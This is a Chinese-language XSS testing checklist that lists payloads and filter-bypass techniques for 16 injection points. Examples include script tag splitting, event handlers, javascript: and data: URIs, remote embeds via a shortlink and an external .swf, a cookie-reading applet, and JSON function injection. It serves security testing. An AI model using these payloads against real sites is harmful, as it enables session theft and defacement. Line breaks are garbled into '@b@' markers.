首页  |  知识库  |  资源下载  |  在线工具  |  A-Z  •  JAR  •  名词查         

常见几种跨站脚本漏洞安全测试(常规XSS、SRC属性..Script标签等)

标签:xss,script,href,JSONObject,IFRAME,src,Embed,ACTION,漏洞标签属性,安全     发布时间:2017-10-08   

一、前言

下面整理16点常见使用属性标签和脚本Script带来的漏洞,分别有常规XSS示例、SRC属性区域、IFRAME标签、Embed标签、ACTION属性、Formaction属性、Background属性、Poster属性、DATA属性、CODE属性、事件触发、Expression属性、Location属性、Script标签、HREF属性、JSONObject输出json串可引发XSS等测试网站是否存储XSS跨站脚本漏洞。

二、具体说明

1.常规XSS测试 

1)尝试插入比较正常的HTML标签,例如:<b>,<i>,<u>来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

2)尝试插入不闭合的标签,例如:<b,<i,<u,<marquee然后看一下返回响应,是否对开放的标签也有过滤。

3)然后测试几个XSS的payload,基本所有的xss过滤器都会进行过滤的:

<script>alert(1);</script>@b@@b@<script>prompt(1);</script>@b@@b@<script>confirm(1);</script>@b@@b@<script src=" @b@@b@<!-- 看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert,prompt,confirm字符,再尝试大小写的组合: -->@b@@b@<scRiPt>alert(1);</scrIPt>

4)如果过滤器仅仅是把<script>和</script>标签过滤掉,那么可以用下面的方式来绕过,这样当<script>标签被过滤掉,剩下的组合起来刚好形成一个完整的payload。

<scr<script>ipt>alert(1)</scr<script>ipt>

5)用<a href标签来测试,看返回响应

<a href="http://www.google.com">Clickme</a>

2.SRC属性区域,尝试插入以下字符

<img src=x onerror=prompt(2);>@b@@b@<img/src=aaa.jpg onerror=prompt(2);>@b@@b@<video src=x onerror=prompt(2);>@b@@b@<audio src=x onerror=prompt(2);>

3.IFRAME标签区域,尝试插入以下字符

<iframe src="javascript:alert(3)">@b@@b@<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

4.Embed标签区域 

 <embed/src=//goo.gl/nlX0P>

5.ACTION属性区域

1)     利用<form,<isindex等标签中的action属性执行javascript@b@@b@2)     <form action="Javascript:alert(5)"><input type=submit>@b@@b@3)     <isindex action="javascript:alert(5)" type=image>@b@@b@4)     <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(5) type=image>@b@@b@5)     <isindex action=data:text/html, type=image>@b@@b@6)     <form action='data:text&sol;html,&lt;script&gt;alert(5)&lt/script&gt'><button>CLICK

6.Form action属性区域 

1)     <isindexformaction="javascript:alert(5)" type=image>@b@@b@2)     <input type="image" formaction=JaVaScript:alert(5)>@b@@b@3)     <form><button formaction=javascript&colon;alert(5)>CLICKME

7.Background属性区域

 <table background=javascript:alert(6)></table> // 在Opera 10.5和IE6上有效

8.Poster属性区域 

<video poster=javascript:alert(7)//></video> // Opera 10.5以下有效

9.DATA属性区域

1)     <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">@b@@b@2)     <object/data=//goo.gl/nlX0P?

10.CODE属性区域

1)     <applet code="javascript:confirm(document.cookie);"> // Firefox有效@b@@b@2)     <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

11.事件触发区域

1)     <svg/onload=prompt(10);>@b@@b@2)     <marquee/onstart=confirm(10)>/@b@@b@3)     <body onload=prompt(10);>@b@@b@4)     <select autofocus onfocus=alert(10)>@b@@b@5)     <textarea autofocus onfocus=alert(10)>@b@@b@6)     <keygen autofocus onfocus=alert(10)>@b@@b@7)     <video><source onerror="javascript:alert(1)">

12.Expression属性区域

1)     <img style="xss:expression(alert(11))"> // IE7以下@b@@b@2)     <div style="color:rgb(''&#0;x:expression(alert(11))"></div> // IE7以下@b@@b@3)     <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

13.Location属性区域

1)     <a onmouseover=location='javascript:alert(12)'>click@b@@b@2)     <body onfocus="loaction='javascript:alert(12)'">123

14.输入在Script标签中

1)     输入在script区域@b@@b@<script>@b@@b@Var x="Input";@b@@b@</script>@b@@b@2)     可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了@b@@b@3)     ";alert(13)//

15.HREF内容可控

1)     例如:<a href="Userinput">Click</a>@b@@b@2)     可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:@b@@b@3)     javascript:alert(14)//@b@@b@4)     最后组合为:<a href="javascript:alert(14)//">Click</a>

16.JSONObject输出json串可引发XSS

JSONObject json = null;@b@@b@json = new JSONObject();@b@@b@json.put("code", 200);@b@@b@json.put("info", "tester");@b@@b@json.put("msg", "success");@b@@b@System.out.println(json);@b@@b@1)     // 输出:{"code":200,"info":"tester","msg":"success"}@b@@b@2)     如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?@b@@b@json = new JSONObject();@b@@b@json.put("code", 200);@b@@b@json.put("info", "{'replace':function(){alert(/xss/)}}");@b@@b@json.put("msg", "success");@b@@b@System.out.println(json);@b@@b@3)     // 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}@b@@b@4)     JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。@b@@b@5)     可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}